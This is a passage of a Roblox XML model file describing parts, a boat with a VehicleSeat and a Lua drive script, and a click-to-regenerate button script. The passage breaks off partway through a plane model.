							<X>3.64809042e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64840675e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>14</X>
							<Y>11.1999998</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX991">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">BoatControl</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="VehicleSeat" referent="RBX992">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-172</X>
								<Y>6.60000372</Y>
								<Z>104</Z>
								<R00>-6.14892768e-016</R00>
								<R01>2.47970338e-008</R01>
								<R02>1</R02>
								<R10>-7.43910888e-008</R10>
								<R11>1</R11>
								<R12>2.47970338e-008</R12>
								<R20>-1</R20>
								<R21>7.43910888e-008</R21>
								<R22>6.14892768e-016</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">500</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.381327e-025</X>
								<Y>-1.39748287e-025</Y>
								<Z>-1.381327e-025</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">10</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">1</float>
							<Vector3 name="Velocity">
								<X>3.64801578e-020</X>
								<Y>0.00252571423</Y>
								<Z>3.6483347e-020</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX993">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">9vssb36tj</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX994">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">BodyPosition</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>37</X>
									<Y>8.19999981</Y>
									<Z>11</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX995">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BodyVelocity</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>INF</X>
									<Y>0</Y>
									<Z>INF</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>-0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX996">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BodyGyro</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>37</X>
									<Y>8.19999981</Y>
									<Z>11</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>INF</X>
									<Y>INF</Y>
									<Z>INF</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Hole" referent="RBX997">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="FaceId">5</token>
								<token name="InOut">2</token>
								<token name="LeftRight">1</token>
								<string name="Name">Hole</string>
								<token name="TopBottom">1</token>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX998">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">script.Parent.MaxSpeed = 500 
maxspeed  =script.Parent.MaxSpeed
script.Parent.BodyPosition.position = script.Parent.Position--------------------DO NOT CHANGE ANYTHING!
script.Parent.BodyGyro.cframe = script.Parent.CFrame
value1 = 0
while true do
wait()
if script.Parent.Throttle== 1 then
if value1 &lt; maxspeed then value1 = value1+1 end
script.Parent.Parent.Driving.Value = true
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Throttle == 0 then
value1 = 0
script.Parent.Parent.Driving.Value = false
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Throttle== -1 then
if value1&lt;31 then value1 = value1+1 end
script.Parent.Parent.Driving.Value = true
script.Parent.BodyVelocity.velocity = script.Parent.CFrame.lookVector*-value1
script.Parent.Parent.Left.Value = false
script.Parent.Parent.Right.Value = false
end
if script.Parent.Steer == 1 then
script.Parent.BodyGyro.cframe = script.Parent.BodyGyro.cframe * CFrame.fromEulerAnglesXYZ(0,-.1,0)
script.Parent.Parent.Driving.Value = true
script.Parent.Parent.Right.Value = true
script.Parent.Parent.Left.Value = false
end
if script.Parent.Steer == -1 then
script.Parent.BodyGyro.cframe = script.Parent.BodyGyro.cframe * CFrame.fromEulerAnglesXYZ(0,.1,0)
script.Parent.Parent.Driving.Value = true
script.Parent.Parent.Left.Value = true
script.Parent.Parent.Right.Value = false
end
end
----the plate boat script is by ok3y11</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="BoolValue" referent="RBX999">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Right</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX1000">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Left</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX1001">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">Driving</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1002">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-169</X>
							<Y>9.00000381</Y>
							<Z>111.5</Z>
							<R00>-6.14892768e-016</R00>
							<R01>2.47970338e-008</R01>
							<R02>1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>-1</R20>
							<R21>7.43910888e-008</R21>
							<R22>6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64794405e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64834342e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>5.20000029</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX1003">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-169</X>
							<Y>17.8000031</Y>
							<Z>104</Z>
							<R00>-6.14892768e-016</R00>
							<R01>2.47970338e-008</R01>
							<R02>1</R02>
							<R10>-7.43910888e-008</R10>
							<R11>1</R11>
							<R12>2.47970338e-008</R12>
							<R20>-1</R20>
							<R21>7.43910888e-008</R21>
							<R22>6.14892768e-016</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64817055e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64822193e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>16</X>
							<Y>0.400000006</Y>
							<Z>16</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX1004">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX1005">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">23</int>
						<CoordinateFrame name="CFrame">
							<X>-158.5</X>
							<Y>7.00000381</Y>
							<Z>105.5</Z>
							<R00>-1</R00>
							<R01>2.47970338e-008</R01>
							<R02>-6.14892768e-016</R02>
							<R10>-2.47970338e-008</R10>
							<R11>1</R11>
							<R12>-7.43910888e-008</R12>
							<R20>-6.14892768e-016</R20>
							<R21>7.43910888e-008</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64800027e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64851791e-020</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>23</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Seat" referent="RBX1006">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-191</X>
							<Y>6.60000277</Y>
							<Z>97</Z>
							<R00>1</R00>
							<R01>2.47970338e-008</R01>
							<R02>6.14892768e-016</R02>
							<R10>2.47970338e-008</R10>
							<R11>1</R11>
							<R12>7.43910888e-008</R12>
							<R20>6.14892768e-016</R20>
							<R21>7.43910888e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">0</float>
						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Seat</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-1.381327e-025</X>
							<Y>-1.39748287e-025</Y>
							<Z>-1.381327e-025</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>3.64811336e-020</X>
							<Y>0.00252571423</Y>
							<Z>3.64806942e-020</Z>
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				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-116</X>
					<Y>89</Y>
					<Z>154</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>10</X>
					<Y>1.20000005</Y>
					<Z>14</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1032">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-113</X>
					<Y>81.2000046</Y>
					<Z>160</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>16</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1033">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">23</int>
				<CoordinateFrame name="CFrame">
					<X>-106</X>
					<Y>81.2000046</Y>
					<Z>155.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>7</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX1034">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX1035">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-51</X>
						<Y>7</Y>
						<Z>208</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX1036">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX1037">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX1038">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX1039">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX1040">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Blue</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX1041">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1042">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Plane</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1043">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Parts</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Part" referent="RBX1044">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">0</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-30</X>
										<Y>7</Y>
										<Z>217</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Engine</string>
